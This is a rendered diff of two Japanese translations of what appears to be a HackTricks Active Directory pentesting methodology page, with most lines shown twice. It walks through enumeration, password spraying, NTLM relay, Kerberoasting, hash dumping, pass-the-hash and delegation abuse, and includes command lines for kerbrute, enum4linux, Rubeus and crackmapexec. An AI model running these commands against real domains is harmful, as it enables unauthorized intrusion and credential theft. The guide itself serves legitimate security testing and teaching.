6. **DNSサービス** – **ドメイン名**の解決に重要です。
|
6. **DNSサービス** – **ドメイン名**の解決に重要です。
|
||||||
|
|
||||||
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
|
詳細な説明については、[**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)を確認してください。
|
||||||
@ -34,7 +34,7 @@
|
|||||||
|
|
||||||
## チートシート
|
## チートシート
|
||||||
|
|
||||||
ADを列挙/悪用するために実行できるコマンドの概要を迅速に確認するには、[https://wadcoms.github.io/](https://wadcoms.github.io)を参照してください。
|
[https://wadcoms.github.io/](https://wadcoms.github.io)にアクセスして、ADを列挙/悪用するために実行できるコマンドの概要を確認できます。
|
||||||
|
|
||||||
## Active Directoryの調査(クレデンシャル/セッションなし)
|
## Active Directoryの調査(クレデンシャル/セッションなし)
|
||||||
|
|
||||||
@ -44,39 +44,39 @@ AD環境にアクセスできるが、クレデンシャル/セッションが
|
|||||||
- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
|
- ネットワークをスキャンし、マシンやオープンポートを見つけ、そこから**脆弱性を悪用**したり、**クレデンシャルを抽出**したりします(例えば、[プリンターは非常に興味深いターゲットになる可能性があります](ad-information-in-printers.md))。
|
||||||
- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。
|
- DNSを列挙することで、ドメイン内の主要なサーバーに関する情報を得ることができます。ウェブ、プリンター、共有、VPN、メディアなど。
|
||||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||||
- これを行う方法についての詳細情報は、一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認してください。
|
- 一般的な[**ペンテスト手法**](../../generic-methodologies-and-resources/pentesting-methodology.md)を確認して、これを行う方法に関する詳細情報を見つけてください。
|
||||||
- **smbサービスでのnullおよびGuestアクセスの確認**(これは最新のWindowsバージョンでは機能しません):
|
- **smbサービスでのnullおよびGuestアクセスを確認する**(これは最新のWindowsバージョンでは機能しません):
|
||||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||||
- SMBサーバーを列挙する方法についての詳細なガイドはここにあります:
|
- SMBサーバーを列挙する方法に関する詳細なガイドはここにあります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/
|
../../network-services-pentesting/pentesting-smb/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Ldapの列挙**
|
- **Ldapを列挙する**
|
||||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||||
- LDAPを列挙する方法についての詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
- LDAPを列挙する方法に関する詳細なガイドはここにあります(**匿名アクセスに特に注意してください**):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-ldap.md
|
../../network-services-pentesting/pentesting-ldap.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **ネットワークを毒する**
|
- **ネットワークを毒する**
|
||||||
- [**Responderを使用してサービスを偽装してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
- [**Responderを使用してサービスを偽装してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
- [**リレー攻撃を悪用してホストにアクセス**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
- [**リレー攻撃を悪用してホストにアクセスする**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||||
- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
- [**悪意のあるUPnPサービスを公開してクレデンシャルを収集する**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||||
- 内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、ドメイン環境内および公開されているものからも抽出します。
|
- ドメイン環境内の内部文書、ソーシャルメディア、サービス(主にウェブ)からユーザー名/名前を抽出し、公開されている情報からも抽出します。
|
||||||
- 会社の従業員の完全な名前が見つかった場合、さまざまなADの**ユーザー名の慣習**を試すことができます(**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な慣習は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3つの_ランダムな文字と3つのランダムな数字_(abc123)です。
|
- 会社の従業員の完全な名前が見つかった場合、さまざまなAD **ユーザー名の規則**を試すことができます(**これを読む**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な規則は:_NameSurname_、_Name.Surname_、_NamSur_(各3文字)、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 _ランダムな文字と3ランダムな数字_(abc123)です。
|
||||||
- ツール:
|
- ツール:
|
||||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||||
|
|
||||||
### ユーザー列挙
|
### ユーザー列挙
|
||||||
|
|
||||||
- **匿名SMB/LDAP列挙:** [**ペンテストSMB**](../../network-services-pentesting/pentesting-smb/)および[**ペンテストLDAP**](../../network-services-pentesting/pentesting-ldap.md)ページを確認してください。
|
- **匿名SMB/LDAP列挙:** [**ペンテストSMB**](../../network-services-pentesting/pentesting-smb/index.html)および[**ペンテストLDAP**](../../network-services-pentesting/pentesting-ldap.md)ページを確認してください。
|
||||||
- **Kerbrute列挙**:**無効なユーザー名が要求される**と、サーバーは**Kerberosエラー**コード_KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_を使用して応答し、ユーザー名が無効であることを判断できます。**有効なユーザー名**は、**AS-REP**応答で**TGT**を引き起こすか、エラー_KRB5KDC_ERR_PREAUTH_REQUIRED_を示し、ユーザーが事前認証を行う必要があることを示します。
|
- **Kerbrute列挙**:**無効なユーザー名が要求される**と、サーバーは**Kerberosエラー**コード_KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_を使用して応答し、ユーザー名が無効であることを判断できます。**有効なユーザー名**は、**AS-REP**応答で**TGT**を引き起こすか、エラー_KRB5KDC_ERR_PREAUTH_REQUIRED_を示し、ユーザーが事前認証を行う必要があることを示します。
|
||||||
```bash
|
```bash
|
||||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||||
@ -103,16 +103,16 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
|||||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> ユーザー名のリストは[**このgithubリポ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
> ユーザー名のリストは[**このgithubリポジトリ**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\*やこのリポジトリ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))で見つけることができます。
|
||||||
>
|
>
|
||||||
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。
|
> ただし、事前に実施したリコンステップから**会社で働いている人々の名前**を持っている必要があります。名前と姓があれば、スクリプト[**namemash.py**](https://gist.github.com/superkojiman/11076951)を使用して、潜在的な有効なユーザー名を生成できます。
|
||||||
|
|
||||||
### 1つまたは複数のユーザー名を知っている場合
|
### 1つまたは複数のユーザー名を知っている場合
|
||||||
|
|
||||||
さて、有効なユーザー名はすでに知っているが、パスワードはない場合... 次のことを試してください:
|
さて、有効なユーザー名はすでに知っているが、パスワードはない... それなら試してみてください:
|
||||||
|
|
||||||
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
- [**ASREPRoast**](asreproast.md): ユーザーが**_DONT_REQ_PREAUTH_**属性を持っていない場合、そのユーザーのために**AS_REPメッセージを要求**でき、ユーザーのパスワードの派生によって暗号化されたデータが含まれます。
|
||||||
- [**Password Spraying**](password-spraying.md): 発見された各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
|
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**一般的なパスワード**を試してみましょう。もしかしたら、あるユーザーが悪いパスワードを使用しているかもしれません(パスワードポリシーに注意してください!)。
|
||||||
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーへのアクセスを試みることもできます。
|
- OWAサーバーを**スプレー**して、ユーザーのメールサーバーへのアクセスを試みることもできます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -129,11 +129,11 @@ password-spraying.md
|
|||||||
|
|
||||||
### NTML リレー
|
### NTML リレー
|
||||||
|
|
||||||
アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTML [**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*を強制してAD環境にアクセスできるかもしれません。
|
アクティブディレクトリを列挙できた場合、**より多くのメールとネットワークの理解が得られます**。NTMLの[**リレー攻撃**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*を強制してAD環境にアクセスできるかもしれません。
|
||||||
|
|
||||||
### NTLM クレデンシャルの盗難
|
### NTLM クレデンシャルの盗難
|
||||||
|
|
||||||
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**(SCFファイルなど)して、何らかの形でアクセスされると**NTML認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
|
**nullまたはゲストユーザー**で他のPCや共有に**アクセス**できる場合、**ファイルを配置**(SCFファイルなど)して、何らかの形でアクセスされると、**あなたに対してNTML認証をトリガー**し、**NTLMチャレンジを盗む**ことができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../ntlm/places-to-steal-ntlm-creds.md
|
../ntlm/places-to-steal-ntlm-creds.md
|
||||||
@ -153,23 +153,23 @@ kerberos-double-hop-problem.md
|
|||||||
|
|
||||||
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**:
|
アカウントを侵害することは、**ドメイン全体を侵害するための大きなステップ**です。なぜなら、**アクティブディレクトリの列挙を開始できるからです**:
|
||||||
|
|
||||||
[**ASREPRoast**](asreproast.md)に関しては、すべての脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリスト**を取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます。
|
[**ASREPRoast**](asreproast.md)に関しては、今やすべての脆弱なユーザーを見つけることができ、[**Password Spraying**](password-spraying.md)に関しては、**すべてのユーザー名のリストを取得し、侵害されたアカウントのパスワード、空のパスワード、新しい有望なパスワードを試すことができます**。
|
||||||
|
|
||||||
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
|
- [**CMDを使用して基本的なリコンを実行**](../basic-cmd-for-pentesters.md#domain-info)できます。
|
||||||
- [**PowerShellを使用してリコン**](../basic-powershell-for-pentesters/)することもでき、よりステルス性があります。
|
- [**PowerShellを使用してリコンを実行**](../basic-powershell-for-pentesters/index.html)することもでき、よりステルス性があります。
|
||||||
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出できます。
|
- [**PowerViewを使用**](../basic-powershell-for-pentesters/powerview.md)して、より詳細な情報を抽出できます。
|
||||||
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。これは**あまりステルス性がありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
|
- アクティブディレクトリのリコンに最適なツールは[**BloodHound**](bloodhound.md)です。**あまりステルス性はありません**(使用する収集方法によります)が、**それを気にしないのであれば**、ぜひ試してみてください。ユーザーがRDPできる場所を見つけたり、他のグループへのパスを見つけたりします。
|
||||||
- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**。**
|
- **他の自動化されたAD列挙ツールは:** [**AD Explorer**](bloodhound.md#ad-explorer)**、** [**ADRecon**](bloodhound.md#adrecon)**、** [**Group3r**](bloodhound.md#group3r)**、** [**PingCastle**](bloodhound.md#pingcastle)**。**
|
||||||
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
|
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
|
||||||
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
|
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
|
||||||
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
|
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探して認証情報を探すこともできます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)の他の方法を参照してください。
|
||||||
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
|
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
|
||||||
- 自動化ツールを試すこともできます:
|
- 自動化ツールを試すこともできます:
|
||||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||||
- **すべてのドメインユーザーを抽出する**
|
- **すべてのドメインユーザーを抽出する**
|
||||||
|
|
||||||
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`
|
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です(`net user /domain`、`Get-DomainUser`または`wmic useraccount get name,sid`)。Linuxでは、次のように使用できます:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`。
|
||||||
|
|
||||||
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(主にcmd、powershell、powerview、BloodHoundのリンク)、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるか、何もできないと決定するための重要な瞬間になります。
|
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(主にcmd、powershell、powerview、BloodHoundのリンク)、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるか、何もできないと決定するための重要な瞬間になります。
|
||||||
|
|
||||||
@ -189,13 +189,13 @@ kerberoast.md
|
|||||||
|
|
||||||
### ローカル特権昇格
|
### ローカル特権昇格
|
||||||
|
|
||||||
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、クレデンシャルを探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリ(LSASS)やローカル(SAM)で**ダンプ**できないためです。
|
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限を持っている場合にのみ、他のユーザーのハッシュをメモリ(LSASS)およびローカル(SAM)で**ダンプ**できるからです。
|
||||||
|
|
||||||
この本には[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
|
この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
|
||||||
|
|
||||||
### 現在のセッションチケット
|
### 現在のセッションチケット
|
||||||
|
|
||||||
予期しないリソースにアクセスするための**チケット**を現在のユーザーが**持っている**可能性は非常に**低い**ですが、確認することができます:
|
**予期しないリソースにアクセスする権限を与える**チケットを現在のユーザーで見つけることは非常に**可能性が低い**ですが、確認することができます:
|
||||||
```bash
|
```bash
|
||||||
## List all tickets (if not admin, only current user tickets)
|
## List all tickets (if not admin, only current user tickets)
|
||||||
.\Rubeus.exe triage
|
.\Rubeus.exe triage
|
||||||
@ -209,7 +209,7 @@ kerberoast.md
|
|||||||
|
|
||||||
### **コンピュータ共有内のクレデンシャルを探す**
|
### **コンピュータ共有内のクレデンシャルを探す**
|
||||||
|
|
||||||
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
|
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
|
||||||
|
|
||||||
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||||
|
|
||||||
@ -235,19 +235,19 @@ printnightmare.md
|
|||||||
|
|
||||||
### ハッシュ抽出
|
### ハッシュ抽出
|
||||||
|
|
||||||
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/)を使用して**ローカル管理者アカウントを侵害することに成功した**ことを願っています。\
|
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者**アカウントを**侵害することに成功した**ことを願っています。\
|
||||||
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
|
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
|
||||||
[**ハッシュを取得するためのさまざまな方法についてこのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
[**ハッシュを取得するためのさまざまな方法についてこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||||
|
|
||||||
### パス・ザ・ハッシュ
|
### パス・ザ・ハッシュ
|
||||||
|
|
||||||
**ユーザーのハッシュを持っている場合**、それを使用して**なりすます**ことができます。\
|
**ユーザーのハッシュを持っている場合**、それを使用して**なりすます**ことができます。\
|
||||||
その**ハッシュ**を使用して**NTLM認証を実行する**ための**ツール**を使用する必要があります、**または**新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
|
その**ハッシュ**を使用して**NTLM認証を実行する**ための**ツール**を使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると**、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
|
||||||
[**詳細についてはこのページを読んでください。**](../ntlm/index.html#pass-the-hash)
|
[**詳細についてはこのページをお読みください。**](../ntlm/index.html#pass-the-hash)
|
||||||
|
|
||||||
### オーバーパス・ザ・ハッシュ/パス・ザ・キー
|
### オーバーパス・ザ・ハッシュ/パス・ザ・キー
|
||||||
|
|
||||||
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効にされているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**。
|
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコル上のパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効にされているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
over-pass-the-hash-pass-the-key.md
|
over-pass-the-hash-pass-the-key.md
|
||||||
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
|
|
||||||
### MSSQLの悪用と信頼されたリンク
|
### MSSQLの悪用と信頼されたリンク
|
||||||
|
|
||||||
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができます。\
|
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したり(SAとして実行されている場合)、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができるかもしれません。\
|
||||||
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\
|
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\
|
||||||
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
|
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -286,22 +286,22 @@ abusing-ad-mssql.md
|
|||||||
|
|
||||||
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)属性を持つコンピュータオブジェクトを見つけ、コンピュータにドメイン権限がある場合、コンピュータにログインするすべてのユーザーのTGTをメモリからダンプすることができます。\
|
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)属性を持つコンピュータオブジェクトを見つけ、コンピュータにドメイン権限がある場合、コンピュータにログインするすべてのユーザーのTGTをメモリからダンプすることができます。\
|
||||||
したがって、**ドメイン管理者がコンピュータにログインすると**、そのTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使用して彼を偽装することができます。\
|
したがって、**ドメイン管理者がコンピュータにログインすると**、そのTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使用して彼を偽装することができます。\
|
||||||
制約付き委任のおかげで、**プリントサーバーを自動的に侵害する**ことさえ可能です(できればDCであることを願っています)。
|
制約のある委任のおかげで、**プリントサーバーを自動的に侵害する**ことさえ可能です(できればDCであることを願っています)。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
unconstrained-delegation.md
|
unconstrained-delegation.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### 制約付き委任
|
### 制約された委任
|
||||||
|
|
||||||
ユーザーまたはコンピュータが「制約付き委任」を許可されている場合、**コンピュータ内のいくつかのサービスにアクセスするために任意のユーザーを偽装することができます**。\
|
ユーザーまたはコンピュータが「制約された委任」を許可されている場合、**コンピュータ内のいくつかのサービスにアクセスするために任意のユーザーを偽装することができます**。\
|
||||||
その後、**このユーザー/コンピュータのハッシュを侵害すると**、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
|
その後、**このユーザー/コンピュータのハッシュを侵害**すると、**任意のユーザー**(ドメイン管理者を含む)を偽装していくつかのサービスにアクセスすることができます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
constrained-delegation.md
|
constrained-delegation.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### リソースベースの制約付き委任
|
### リソースベースの制約された委任
|
||||||
|
|
||||||
リモートコンピュータのActive Directoryオブジェクトに対して**WRITE**権限を持つことは、**昇格された権限**でのコード実行を可能にします:
|
リモートコンピュータのActive Directoryオブジェクトに対して**WRITE**権限を持つことは、**昇格された権限**でのコード実行を可能にします:
|
||||||
|
|
||||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
|||||||
|
|
||||||
### ACLの悪用
|
### ACLの悪用
|
||||||
|
|
||||||
侵害されたユーザーは、**ドメインオブジェクトに対していくつかの興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
|
侵害されたユーザーは、**ドメインオブジェクトのいくつかに対して興味深い権限**を持っている可能性があり、それにより**横移動**や**権限の昇格**が可能になります。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
acl-persistence-abuse/
|
acl-persistence-abuse/
|
||||||
